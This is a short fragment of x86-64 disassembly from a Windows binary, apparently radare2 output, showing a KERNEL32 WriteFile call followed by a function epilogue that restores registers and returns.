mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x50]
jmp 0x140036f53
mov dword [rbx + 0x24], 0x1000000
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret